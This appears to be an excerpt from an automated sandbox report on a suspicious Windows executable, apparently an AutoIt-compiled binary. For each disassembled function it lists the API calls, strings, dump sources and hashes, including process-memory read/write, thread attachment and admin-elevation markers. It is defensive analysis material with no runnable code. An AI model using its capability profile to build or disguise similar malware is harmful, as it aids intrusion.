                                                • SendMessageW.USER32(?,00001111,00000000,00000000), ref: 002F27CD
                                                • SendMessageW.USER32(?,00001111,00000000,00000000), ref: 002F281A
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
                                                • String ID: @
                                                • API String ID: 4150878124-2766056989
                                                • Opcode ID: d22f6d70bb2589caa005445d899b620ff3933f87f714b90fc6ad713f9cba02fa
                                                • Instruction ID: 855289afbd73cdbf81406174fd9bae615aed054a12b07c1669c5d2f0509dc9b5
                                                • Opcode Fuzzy Hash: d22f6d70bb2589caa005445d899b620ff3933f87f714b90fc6ad713f9cba02fa
                                                • Instruction Fuzzy Hash: 12412C7291021DAEDB11DFA4CD41AEEFBB8AB05740F0040A9EA55B7181DB706E59CFA1
                                                Function 002C172E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 115COMMON
                                                Download Yara Rule
                                                APIs
                                                • GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\fqbVL4XxCr.exe,00000104), ref: 002C1769
                                                • _free.LIBCMT ref: 002C1834
                                                • _free.LIBCMT ref: 002C183E
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: _free$FileModuleName
                                                • String ID: C:\Users\user\Desktop\fqbVL4XxCr.exe
                                                • API String ID: 2506810119-3479918046
                                                • Opcode ID: 991ed1157bc0481005ae62b3d64b8941e5e97820a063f3c1ccd78115c87c31cb
                                                • Instruction ID: defce178e91b93549bc5dacc5ab8f0a892c86c0fb434c01730bd36c99e60e9a4
                                                • Opcode Fuzzy Hash: 991ed1157bc0481005ae62b3d64b8941e5e97820a063f3c1ccd78115c87c31cb
                                                • Instruction Fuzzy Hash: 00319575A14208EFDB21DF959C82E9EBBBCEB86310F14426AE404D7212D7B04E64CB90
                                                Function 002FC27D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 114windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetMenuItemInfoW.USER32(00000004,00000000,00000000,?), ref: 002FC306
                                                • DeleteMenu.USER32(?,00000007,00000000), ref: 002FC34C
                                                • DeleteMenu.USER32(?,00000000,00000000,?,00000000,00000000,00361990,00CD55D8), ref: 002FC395
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Menu$Delete$InfoItem
                                                • String ID: 0
                                                • API String ID: 135850232-4108050209
                                                • Opcode ID: 07c78c665a72c649d1953d223e0eed547c08dca5eaa82f8b198572842e12f095
                                                • Instruction ID: 1517379d3ad76759e75db12d9bc08e4d77b2ada8a6e6eeb1dfa3a7c126c84cc0
                                                • Opcode Fuzzy Hash: 07c78c665a72c649d1953d223e0eed547c08dca5eaa82f8b198572842e12f095
                                                • Instruction Fuzzy Hash: BB41D43121430A9FD720DF25D944F6AFBE8AF853A0F2086ADFA65972D1C730E954CB52
                                                Function 00324416 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 106COMMON
                                                Download Yara Rule
                                                APIs
                                                • SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013,?,?,SysTreeView32,0032CC08,00000000,?,?,?,?), ref: 003244AA
                                                • GetWindowLongW.USER32 ref: 003244C7
                                                • SetWindowLongW.USER32(?,000000F0,00000000), ref: 003244D7
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Window$Long
                                                • String ID: SysTreeView32
                                                • API String ID: 847901565-1698111956
                                                • Opcode ID: c83fc8b36b278ca26d53bd57e2e7b1af568d0702c9fd7b234059f5234d0f2aa2
                                                • Instruction ID: 9e98164796a53a5887f39d239f8cbd042420e6b4676769516ba252a2b5b093d6
                                                • Opcode Fuzzy Hash: c83fc8b36b278ca26d53bd57e2e7b1af568d0702c9fd7b234059f5234d0f2aa2
                                                • Instruction Fuzzy Hash: DB319A31210225ABDB229E38EC45BEA7BA9EF09324F214315F975A21E0DB70EC619B50
                                                Function 002F6E71 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 92memoryCOMMON
                                                Download Yara Rule
                                                APIs
                                                • SysReAllocString.OLEAUT32(?,?), ref: 002F6EED
                                                • VariantCopyInd.OLEAUT32(?,?), ref: 002F6F08
                                                • VariantClear.OLEAUT32(?), ref: 002F6F12
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Variant$AllocClearCopyString
                                                • String ID: *j/
                                                • API String ID: 2173805711-4267222096
                                                • Opcode ID: eb209f5cf02089a1858e0caebb6940c6445afd42422718185e1d7285d2b87a10
                                                • Instruction ID: 53c9e5c0bee5c77509b83866c1c276266f763792eb4c033c15a86deb2570a2fd
                                                • Opcode Fuzzy Hash: eb209f5cf02089a1858e0caebb6940c6445afd42422718185e1d7285d2b87a10
                                                • Instruction Fuzzy Hash: 8231A171624249DBCF06AF64E858DBEB775EF45340B2405A8FA034B6A1C7709932DB90
                                                Function 0031304E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 90networkCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 0031335B: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,?,?,?,?,00313077,?,?), ref: 00313378
                                                • inet_addr.WSOCK32(?,?,?,?,?,00000000), ref: 0031307A
                                                • _wcslen.LIBCMT ref: 0031309B
                                                • htons.WSOCK32(00000000,?,?,00000000), ref: 00313106
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: ByteCharMultiWide_wcslenhtonsinet_addr
                                                • String ID: 255.255.255.255
                                                • API String ID: 946324512-2422070025
                                                • Opcode ID: a4646223e8853e28c4a9dda941b4a9ef67fc9eec70fdaa52efccf0d2627267ed
                                                • Instruction ID: 6a921ae446974658e6e735d3076b1c793ec90b5576d054b259f4f18e0f36be75
                                                • Opcode Fuzzy Hash: a4646223e8853e28c4a9dda941b4a9ef67fc9eec70fdaa52efccf0d2627267ed
                                                • Instruction Fuzzy Hash: 0031E9396042019FCB16DF28C885EE977E4EF1C314F258069E9168B792D771DE85CB60
                                                Function 00324653 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 87windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • SendMessageW.USER32(00000000,00000469,?,00000000), ref: 00324705
                                                • SendMessageW.USER32(00000000,00000465,00000000,80017FFF), ref: 00324713
                                                • DestroyWindow.USER32(00000000,00000000,?,?,?,00000000,msctls_updown32,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 0032471A
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: MessageSend$DestroyWindow
                                                • String ID: msctls_updown32
                                                • API String ID: 4014797782-2298589950
                                                • Opcode ID: ea0fda9e432c1af0c9a18f2f037914c457a9dd10c559f0521a901a62e55a30de
                                                • Instruction ID: 88a888f0a6045afc8562049d11d95e643a2350ac1e98e728df5da69b9ba36cba
                                                • Opcode Fuzzy Hash: ea0fda9e432c1af0c9a18f2f037914c457a9dd10c559f0521a901a62e55a30de
                                                • Instruction Fuzzy Hash: 142160B5610218AFDB12DF68ECC1DBB37EDEF5A794B050059FA149B251CB70EC21CA60
                                                Function 002F95AD Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 85COMMON
                                                Download Yara Rule
                                                APIs
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: _wcslen
                                                • String ID: #OnAutoItStartRegister$#notrayicon$#requireadmin
                                                • API String ID: 176396367-2734436370
                                                • Opcode ID: 2de2bab80492f984e074d8b3cf0705e79b86461c365de4c584eaccc9e9452fec
                                                • Instruction ID: 1943f43afe4735e2ff6e6da87298fbcae57cc6c279ba5a9f5e172da31aeecd94
                                                • Opcode Fuzzy Hash: 2de2bab80492f984e074d8b3cf0705e79b86461c365de4c584eaccc9e9452fec
                                                • Instruction Fuzzy Hash: 3E21263213452666C732AA289802FF7F39C9F61380F504036FB49D7141EB919DB5C695
                                                Function 003237B7 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • SendMessageW.USER32(00000000,00000180,00000000,?), ref: 00323840
                                                • SendMessageW.USER32(?,00000186,00000000,00000000), ref: 00323850
                                                • MoveWindow.USER32(00000000,?,?,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 00323876
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: MessageSend$MoveWindow
                                                • String ID: Listbox
                                                • API String ID: 3315199576-2633736733
                                                • Opcode ID: 07129f9c194c873d487486024d57933a0dbcb1b29c0f6a3447b45db51a1c7a45
                                                • Instruction ID: 737f252e2cf788ac14d5f74c539fca9a95a360c44c5e626feb486e9ea5350cd7
                                                • Opcode Fuzzy Hash: 07129f9c194c873d487486024d57933a0dbcb1b29c0f6a3447b45db51a1c7a45
                                                • Instruction Fuzzy Hash: 1921A472610228BBEF228F54EC85FBB376EEF89750F118114F9149B190C675DC528BA0
                                                Function 003049F4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 78COMMON
                                                Download Yara Rule
                                                APIs
                                                • SetErrorMode.KERNEL32(00000001), ref: 00304A08
                                                • GetVolumeInformationW.KERNEL32(?,?,00007FFF,?,00000000,00000000,00000000,00000000), ref: 00304A5C
                                                • SetErrorMode.KERNEL32(00000000,?,?,0032CC08), ref: 00304AD0
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: ErrorMode$InformationVolume
                                                • String ID: %lu
                                                • API String ID: 2507767853-685833217
                                                • Opcode ID: 1a444bf302921a54d1847f3e4cd8b6cf66e81ce8a8a9876e3d2ed5ffd70d43bc
                                                • Instruction ID: 657a901fa0b109006c884f01d50ca0bd57fd8a3243a02427721513dd892944fd
                                                • Opcode Fuzzy Hash: 1a444bf302921a54d1847f3e4cd8b6cf66e81ce8a8a9876e3d2ed5ffd70d43bc
                                                • Instruction Fuzzy Hash: 4D315071A10109AFDB11DF58C985EAEB7F8EF08308F1480A9E905DB252D771EE56CF61
                                                Function 003241EB Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 0032424F
                                                • SendMessageW.USER32(?,00000406,00000000,00640000), ref: 00324264
                                                • SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 00324271
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: MessageSend
                                                • String ID: msctls_trackbar32
                                                • API String ID: 3850602802-1010561917
                                                • Opcode ID: 2e078c4da610c1190f42940a034d74b6a8ff28803d3f70f861991605643aca30
                                                • Instruction ID: b11d7ddd4297ec7888492f2ebf688e0e2f27bcec5b4854815fc5ea77d13512bd
                                                • Opcode Fuzzy Hash: 2e078c4da610c1190f42940a034d74b6a8ff28803d3f70f861991605643aca30
                                                • Instruction Fuzzy Hash: 6F110631240318BEEF225F29EC06FAB7BACEF85B54F020514FA55E60A0D2B1DC219B20
                                                Function 002F2F52 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00296B57: _wcslen.LIBCMT ref: 00296B6A
                                                  • Part of subcall function 002F2DA7: SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,?), ref: 002F2DC5
                                                  • Part of subcall function 002F2DA7: GetWindowThreadProcessId.USER32(?,00000000), ref: 002F2DD6
                                                  • Part of subcall function 002F2DA7: GetCurrentThreadId.KERNEL32 ref: 002F2DDD
                                                  • Part of subcall function 002F2DA7: AttachThreadInput.USER32(00000000,?,00000000,00000000), ref: 002F2DE4
                                                • GetFocus.USER32 ref: 002F2F78
                                                  • Part of subcall function 002F2DEE: GetParent.USER32(00000000), ref: 002F2DF9
                                                • GetClassNameW.USER32(?,?,00000100), ref: 002F2FC3
                                                • EnumChildWindows.USER32(?,002F303B), ref: 002F2FEB
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Thread$AttachChildClassCurrentEnumFocusInputMessageNameParentProcessSendTimeoutWindowWindows_wcslen
                                                • String ID: %s%d
                                                • API String ID: 1272988791-1110647743
                                                • Opcode ID: f0f8041be89bc906eb73f714761ae294e6c5a108d34c940802a7574ab0b75cd4
                                                • Instruction ID: 3b55cbdfcb46df2803579b2a521473f438e536b8264c391425bd9da7b99a5980
                                                • Opcode Fuzzy Hash: f0f8041be89bc906eb73f714761ae294e6c5a108d34c940802a7574ab0b75cd4
                                                • Instruction Fuzzy Hash: A1110671620209ABCF11BF709C95EFDB7AAAF85344F044079FE09AB152DE70991A8F70
                                                Function 00325882 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetMenuItemInfoW.USER32(?,?,?,00000030), ref: 003258C1
                                                • SetMenuItemInfoW.USER32(?,?,?,00000030), ref: 003258EE
                                                • DrawMenuBar.USER32(?), ref: 003258FD
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Menu$InfoItem$Draw
                                                • String ID: 0
                                                • API String ID: 3227129158-4108050209
                                                • Opcode ID: 82ed78b5035b92a21035adda8aa987cd457456b345e09f36884726b74225bc7c
                                                • Instruction ID: 1648188077f08e411cb425854d4392a213ef79340db30b426c11711924167bb7
                                                • Opcode Fuzzy Hash: 82ed78b5035b92a21035adda8aa987cd457456b345e09f36884726b74225bc7c
                                                • Instruction Fuzzy Hash: BC018032510228EFDB629F52EC44BAEBBB8FF46361F108099E849D6151DB308A94DF61
                                                Function 002F007F Relevance: 6.3, APIs: 4, Instructions: 322COMMON
                                                Download Yara Rule
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID:
                                                • String ID:
                                                • API String ID:
                                                • Opcode ID: 8e85d5bd71aefe2d1fb1a1fee8a1dd41ffdacb351ef4bbcf2b0b336a910bbd69
                                                • Instruction ID: 606760e6a6c319170177652e664f85e8196c0b38830dd32faf53b502379d861c
                                                • Opcode Fuzzy Hash: 8e85d5bd71aefe2d1fb1a1fee8a1dd41ffdacb351ef4bbcf2b0b336a910bbd69
                                                • Instruction Fuzzy Hash: FDC15A75A1020AAFDB14CF94C894ABEF7B5FF48344F1085A8EA05EB252C771ED91CB90
                                                Function 0031342E Relevance: 6.3, APIs: 4, Instructions: 257COMMON
                                                Download Yara Rule
                                                APIs
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Variant$ClearInitInitializeUninitialize
                                                • String ID:
                                                • API String ID: 1998397398-0
                                                • Opcode ID: a5fdc52dafadcfcc19d6dbec2ac869a4fd3ef3b21aab1ba8fab3910707439eea
                                                • Instruction ID: e52b75173b33be237e846be061150bbdac3fb520142e37dca626a7fd89242ba8
                                                • Opcode Fuzzy Hash: a5fdc52dafadcfcc19d6dbec2ac869a4fd3ef3b21aab1ba8fab3910707439eea
                                                • Instruction Fuzzy Hash: D2A147752182009FCB15DF28C485A6AB7E9FF8D710F058859F98A9B362DB30EE41CF91
                                                Function 002F0436 Relevance: 6.2, APIs: 4, Instructions: 230COMMON
                                                Download Yara Rule
                                                APIs
                                                • ProgIDFromCLSID.OLE32(?,00000000,?,00000000,00000800,00000000,?,0032FC08,?), ref: 002F05F0
                                                • CoTaskMemFree.OLE32(00000000,00000000,?,00000000,00000800,00000000,?,0032FC08,?), ref: 002F0608
                                                • CLSIDFromProgID.OLE32(?,?,00000000,0032CC40,000000FF,?,00000000,00000800,00000000,?,0032FC08,?), ref: 002F062D
                                                • _memcmp.LIBVCRUNTIME ref: 002F064E
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: FromProg$FreeTask_memcmp
                                                • String ID:
                                                • API String ID: 314563124-0
                                                • Opcode ID: a7accff152d7293f54a9460bed0cf8528af0a9dc2097e3facd41dbebd7d8ffc9
                                                • Instruction ID: 50b34fe131eb934360953afa6b0e695723d0940fb6756341e2249d7d847d09f5
                                                • Opcode Fuzzy Hash: a7accff152d7293f54a9460bed0cf8528af0a9dc2097e3facd41dbebd7d8ffc9
                                                • Instruction Fuzzy Hash: 70812A71A10109EFCB04DF94C984EEEB7B9FF89315F204168E616EB251DB71AE16CB60
                                                Function 002D1391 Relevance: 6.2, APIs: 4, Instructions: 152COMMONLIBRARYCODE
                                                Download Yara Rule
                                                APIs
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: _free
                                                • String ID:
                                                • API String ID: 269201875-0
